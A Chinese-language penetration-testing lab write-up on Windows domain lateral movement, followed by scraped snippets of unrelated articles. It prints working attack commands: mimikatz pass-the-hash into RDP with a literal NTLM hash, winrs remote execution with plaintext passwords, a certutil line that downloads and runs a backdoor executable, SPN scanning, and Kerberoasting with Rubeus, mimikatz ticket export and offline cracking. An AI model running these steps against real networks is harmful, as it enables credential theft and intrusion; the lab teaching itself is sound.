内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击
前言
今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百成功的,而且有很多步骤或者操作方式都是在前面的文章重复说了很多次了,所以接下来的文章涉及到重复的操作可能就一句话带过了。因为,重复的东西解释起来太麻烦了。
实验环境
这个我也不想多说了,和之前的一样。老样子,实验开始之前先让web服务器上线CS,顺便提权至system,别再问咋上线了。

RDP
明文连接
RDP就是windows的远程桌面连接,也是支持明文和NTLM连接的。一般RDP连接的话可以分为两种情况,一是直接在被控主机上去连接远程桌面,这个就比较容易被发现,二是建立节点,挂上代理然后在本地远程桌面连接。毋庸置疑,第二种肯定是要比第一种好的。先利用CS的插件查看一下RDP服务的端口,因为在实际情况中运维基本不会把RDP服务设置为默认的3389端口(我懒得改了)。

RDP服务为3389端口,那么我们先扫一下3389端口,进行一个内网探测。

抓取一下密码,记得要提权。

在CS上对web服务器开启socks代理,然后在本地配置好,直接远程桌面连接30主机试试。

连接上了,但是非常的卡。还有一点就是,你需要知道当前你连接的账户是否有人使用。如果这个账户正在使用的话,而你又远程连接上去,他那边就会有提示把人踢下线,那你不就被发现了么。

Hash连接
前面我们说过RDP也支持hash连接,但是受限条件太多了。需要开启Restricted Admin Mode,在Windows8.1和Windows server 2012 r2上是默认开启的。同时想要使用hash值连接远程桌面,不单单是本地要支持Restricted Admin Mode,对端也要支持Restricted Admin Mode。
如果说当前系统支持Restricted Admin mode,输入下面的命令就会弹出远程连接的窗口,反之没有则不支持。
mstsc.exe /restrictedadmin

本地运行minikatz,这里我就远程连接到30主机吧,它是Windows server 2012 r2系统的。输入下面的命令,hash前面我们抓取到的。执行之后就会弹出远程桌面窗口,不需要再输入密码。可以看到是连接得上的,不过要等有点久我就懒得等了。
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c "/run:mstsc.exe /restrictedadmin"

WinRM&WinRS
手动横移
WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持xerberos和NTLM身份验证以及基本身份验证。WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。
移动条件:
双方都启用WinRM和WinRS的服务。
使用此服务需要管理员级别凭据。
Windows 2008 以上版本WinRS默认自动状态,windows vista/win7上必须手动启动。
Window2012之后的版本默认允许远程任意主机来管理。
这个攻击主要是针对Windows2008以上的系统版本,因为2008以下的话则需要手动开启,我连你的权限都没获取咋手动开启嘛。其实WinRM和WinRS是一个东西,只是我们借助的是WimRM服务,而使用的是WinRS的命令去连接。
查看一下winrm侦听器配置。
#查看侦听器配置
winrm e winrm/config/listener 或 winrm enumerate winrm/config/listener#查看具体配置
winrm get winrm/config
Address:表示监听器所监听的地址。
Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如 HTTP 或 HTTPS,其默认值为 HTTP。
Port:表示监听器所监听 TCP 端口。
Hostname:正在运行 WinRM 服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6 文本字符串或通配符。
Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。
URLPrefix:用于指定要在其上接受 HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 `https://SampleMachine/<在目标地址中指定的 URLPrefix>`。默认 URL 前缀为 "wsman"。CertificateThumbprint:用于指定服务证书的指纹。
ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。

接着启动WinRM服务,有需要的可以修改一下配置,不修改的话就直接默认5985 端口。
winrm quickconfig

再在被控主机也就是我们的web服务器开启WinRM服务,这个我的web服务器是Windows2008,为了以防万一我还是手动开启一下,记得要高权限。在CS上输入命令的话,显示拒绝访问,不知道为啥,我明明已经是system权限了,难道是假的高权限么,所以我直接到web服务器上面输入命令了。
winrm quickconfig
winrm set winrm/config/Client @{TrustedHosts="*"} //允许任何主机连接

扫描一下端口,我这里是使用默认端口的,所以直接扫5985端口。

这里我在CS上面执行命令,说什么句柄无效???不知道是什么鬼,也查不到关于这方面的资料。
winrs -r:192.168.22.30 -u:administrator -p:#Root123 "whoami"

我又直接到web服务器上面去执行命令,给我弹个拒绝访问。这又是什么鬼,我看小迪视频上面说拒绝访问是因为密码错了,但是我这里密码也没错啊。

而且我在30主机执行了下面的命令,允许接受来自任何主机的WinRm连接,还是不行。搞了一个晚上这个实验,他妈都给我搞红温了。
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"

这里我直接换了一套环境,两台主机都在统一局域网中,其中2016是被控主机,2012是我们要横移到的主机。
winserver 2016 192.168.145.131
winserver 2012 192.168.145.251
被控主机执行开启WinRM服务命令,以防万一。

输入命令进行横向移动,成功了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa whoami

获得交互式会话。

怎么上线CS不需要多说了吧,把命令换成下载后门的命令即可,就不演示了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa "certutil.exe -urlcache -split -f http://192.168.145.131:80/2222.exe 2222.exe & 2222.exe"
CS内置横移
CS里面是自带WinRM横移的,不过这里我并没有实验成功。

对31主机开启转发上线。

然后在目标列表对30主机进行WinRM横移,监听器选择我们刚刚转发上线创建的,会话选择31主机提权后的。

执行之后我这里返回一大堆错误信息啥的,估计是我环境出错了啥的,也不想管啦。现实中其实也是差不多的,各种各样的错误,哎。

Kerberos攻击&SPN扫描
SPN扫描这玩意深究的话蛮复杂的,这里我参考了别人写的文章。
Spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。简单来说,Spn它不是一种横移手法而是一种扫描技术,可以利用Spn扫描去发现内网中的一些协议,常常配合Kerberos攻击一起使用。
参考链接:https://www.cnblogs.com/backlion/p/8082623.html
输入命令探测域内信息,它会回显域内哪些主机有哪些服务。
setspn -T 0day.org -q */* #扫描全部服务
setspn -T 0day.org -q */* | findstr "MSSQL" #扫描指定服务

Kerberos攻击
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。简单来说,我们请求服务的时候会留下票据,而这个票据包含了密码,如果说这个票据是用RC4来加密的话我们是可以破解它的,如果是AES256则不可以。
在本地安全策略里面我们为了实验可以把加密方式设置为RC4。

看一下本地的票据,发现是有RC4加密的。
klist

我们也可以利用这个工具去检测,哪些服务是RC4加密且能利用的。只是,我这里不知道为啥检测说没有,但是我明明是有服务是RC4加密的,太奇怪了。
下载地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
shell Rubeus kerberoast

如果检测出来有服务利用的话是这样的。

或者我们手动检测,用minikatz去请求这个服务,看它产生的票据是RC4还是AES。
mimikatz kerberos::ask /target:MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433

查看票据,发现是RC4加密滴。
klist

接着导出票据,但是导出来没见有MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433服务的票据,不知道为啥。
mimikatz kerberos::list /export

使用工具破解票据,pass.txt是字典,这里我还是没有成功。不知道为啥,字典里面也含有正确的密码,加密也是RC4。哎,不管了,可能与上面Rubeus工具没扫出来可用的服务有关。反正流程就这样。
下载地址:GitCode - 全球开发者的开源社区,开源代码托管平台
python tgsrepcrack.py Pass.txt "0-40e10000-wlwznb@krbtgt~GOD.LOCAL-GOD.LOCAL.kirbi"

如果破解成功是这样子的。

总结
总的来说RDP基本在现实中不咋用,因为你要去判断连接的账户当前在线不,被发现的风险较大。WinRM的话可能用的比较多,条件是必须为2008以上的系统才行,不过都2024年了,那些2008以下的老古董估计也没谁用了。kerberos攻击简单来说,就是找到RC4加密方式的服务,然后去请求它让本地生成票据,最后使用工具破解得到密码。
PS:这个次是实验弄了整整三天,wcnm,各种环境问题。看了一大堆文章也解决不了,实在是不想管啦。
以上便是本次横移的知识了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
相关文章:
内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击
前言 今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百…...
Python套接字综合应用(UDP篇)
Python套接字综合应用(UDP篇) 1、 主要功能 UDP客户端实现UDP服务端实现输出字体颜色控制响应捕获键盘CtrlC信号套接字异常捕获及处理通信报文16进制格式化输出 2、 Python UDP套接字应用 Windows程序在WinServer2022上验证运行,Linux程序在银河麒麟V10上验证运…...
服务器安装哪吒面板详细教程
本文长期更新地址: 服务器安装哪吒面板详细教程-星零岁的博客https://blog.0xwl.com/13568.html 注:本文中部分内容源自网络,第四步中部分来自本人曾经文章:云服务器安装配置宝塔面板并安装基础运行环境教程-星零岁的博客 今天来讲…...
LLM微调(精讲)-以高考选择题生成模型为例(DataWhale AI夏令营)
前言 你好,我是GISer Liu😁,一名热爱AI技术的GIS开发者,上一篇文章中,作者介绍了基于讯飞开放平台进行大模型微调的完整流程;而在本文中,作者将对大模型微调的数据准备部分进行深入;…...
安全基础学习-RC4加密算法
这里仅仅记录一些基础的概念。后期有需求进一步扩展。 RC4 是一种对称流加密算法,由罗恩里维斯特(Ron Rivest)于1987年设计。RC4 的设计目的是提供一种简单且高效的加密方法。尽管 RC4 曾经广泛使用,但它的安全性在现代已受到质疑…...
雨云宁波电信大带宽服务器测评(非广告)
提示:本文非广告,非宣传! 本文长期更新地址:雨云宁波电信大带宽服务器测评(非广告) 雨云现在有一个国内的新区——宁波 宣传的是电信大带宽,可附加100G防御,采用NVME,和铂…...
2024年,最新前端趋势
随着技术的不断发展,前端开发领域在2024年迎来了新的趋势和挑战。对于开发者来说,紧跟这些趋势不仅能提升技术水平,还能在激烈的市场竞争中脱颖而出。今天,我想向大家介绍一款在这波趋势中脱颖而出的开发神器——MemFire Cloud。这…...
Linux静态进程和动态进程查看管理
1.静态进程的查看PS PPID:谁启动的父亲ID USER:运行进程的用户名称 PID:进程ID %CPU:CPU的占用比例占用资源 %MEM:内存使用的占用比例 VSZ:占用虚拟内存多少 RSS:占用实际内存多少 TTY:…...
CPU飙升 怎么定位问题
传统的方法 【top】 查看所有进程占系统CPU的排序,定位是哪个进程搞的鬼。PID那一列就是进程号。 【top -Hp pid】 定位进程中使用 CPU 最高的线程tid 【printf ‘0x%x’ tid】 线程 tid 转化 16 进制,例如printf ‘0x%x’ 11882 得到16进制的 0x2e6a 【jstack…...
The Sandbox 游戏制作教程第 4 章|使用装备制作游戏,触发独特互动
欢迎回到我们的系列,我们将记录 The Sandbox Game Maker 的 “On-Equip”(装备)功能的多种用途。 如果你刚加入 The Sandbox,On-Equip 功能是 “可收集组件”(Collectable Component)中的一个多功能工具&a…...
JS 和 JSX、TS 和 TSX 的区别
1. JS(JavaScript) 定义与特性: JavaScript(简称JS)是一种轻量级、解释型或即时编译型的编程语言。它基于原型编程、多范式的动态脚本语言,支持面向对象、命令式、声明式、函数式编程范式。JavaScript 是…...
25款极氪007上市,小米SU7就不该买?
文 | AUTO芯球 作者 | 谦行 我是刚刚才知道 买小米SU7的原来是盯着他这两个功能 可爱的小女孩喊小爱同学帮她停个车 妈妈给她说SU7自己能停好,她还叮嘱一句“小爱同学你给我好好停” SU7滴溜溜的就停在车位上,全程不到一分钟 视频属实温馨&#x…...
旋转字符串 | LeetCode-796 | 模拟 | KMP | 字符串匹配
🙋大家好!我是毛毛张! 🌈个人首页: 神马都会亿点点的毛毛张 🕹️KMP算法练习题 LeetCode链接:796. 旋转字符串 文章目录 1.题目描述🍑2.题解🫐2.1 暴力解法🫒2.2 模拟…...
网络安全测试工具Burp Suite基本使用
一、介绍 Burp Suite 是一款由 PortSwigger 开发的集成网络安全测试工具,广泛用于渗透测试和漏洞扫描。它提供了一系列功能强大的工具和功能,帮助安全研究人员和渗透测试人员识别和修复 Web 应用程序中的安全漏洞。以下是 Burp Suite 的主要功能和特点&…...
使用pytest+selenium编写网页UI自动化脚本和用例
1 UI自动化测试 UI自动化测试(User Interface Automation Testing)是一种通过编写脚本或使用自动化测试工具,对界面(UI)进行自动化测试的方法。原理主要是模拟用户打开客户端或网页的UI界面,自动化执行用户…...
新能源遇“秋老虎”,8月第二周销量集体下滑,问界惨遭腰斩
文/王俣祺 导语:随着日前7月份乘用车销量的公布,我们发现7月并没有因6月各车企的“冲量”行为迎来反噬,对于这种“淡季不淡”的现象市场上一片看好。但从近日公布的8月销量数据来看,人们对于“秋老虎”的恐怖可以说是一无所知。随…...
SEO模板网站的wordpress主题最适合google外贸SEO
在寻找最适合Google外贸SEO的WordPress主题时,有几个关键因素需要考虑:速度、SEO友好性、多语言支持、以及是否易于定制。以下是一些推荐的WordPress主题,它们不仅速度快,而且对SEO非常友好,非常适合外贸网站ÿ…...
fetch跨域请求数据的前端设置和后端php的header设置
跨源请求,也称为CORS(Cross-Origin Resource Sharing)请求,是Web开发中常见的一种需求,允许一个网页的JavaScript代码向与该网页不同源的服务器发出HTTP请求。以下是使用JavaScript中的fetch函数进行跨源请求的一个基本…...
Ted靶机
信息收集: 靶机地址:https://www.vulnhub.com/entry/ted-1,327/ (1)ip扫描 nmap 192.168.254.0/24 -sn | grep -B 2 00:0C:29:FF:7F:9A (2)端口扫描 nmap -p- -A 192.168.254.159 (3&#x…...
HarmonyOS ArkTS 构建布局
在 HarmonyOS 中,ArkTS 是一种基于 TypeScript 的编程语言,专为开发 HarmonyOS 应用而设计。构建布局是开发应用的关键步骤之一。以下是如何在 ArkTS 中构建布局的基本指南。 1. 创建项目和页面 首先,确保已经创建了一个 HarmonyOS 项目。如…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...
在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:
在 HarmonyOS 应用开发中,手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力,既支持点击、长按、拖拽等基础单一手势的精细控制,也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档,…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...
算法:模拟
1.替换所有的问号 1576. 替换所有的问号 - 力扣(LeetCode) 遍历字符串:通过外层循环逐一检查每个字符。遇到 ? 时处理: 内层循环遍历小写字母(a 到 z)。对每个字母检查是否满足: 与…...
基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...
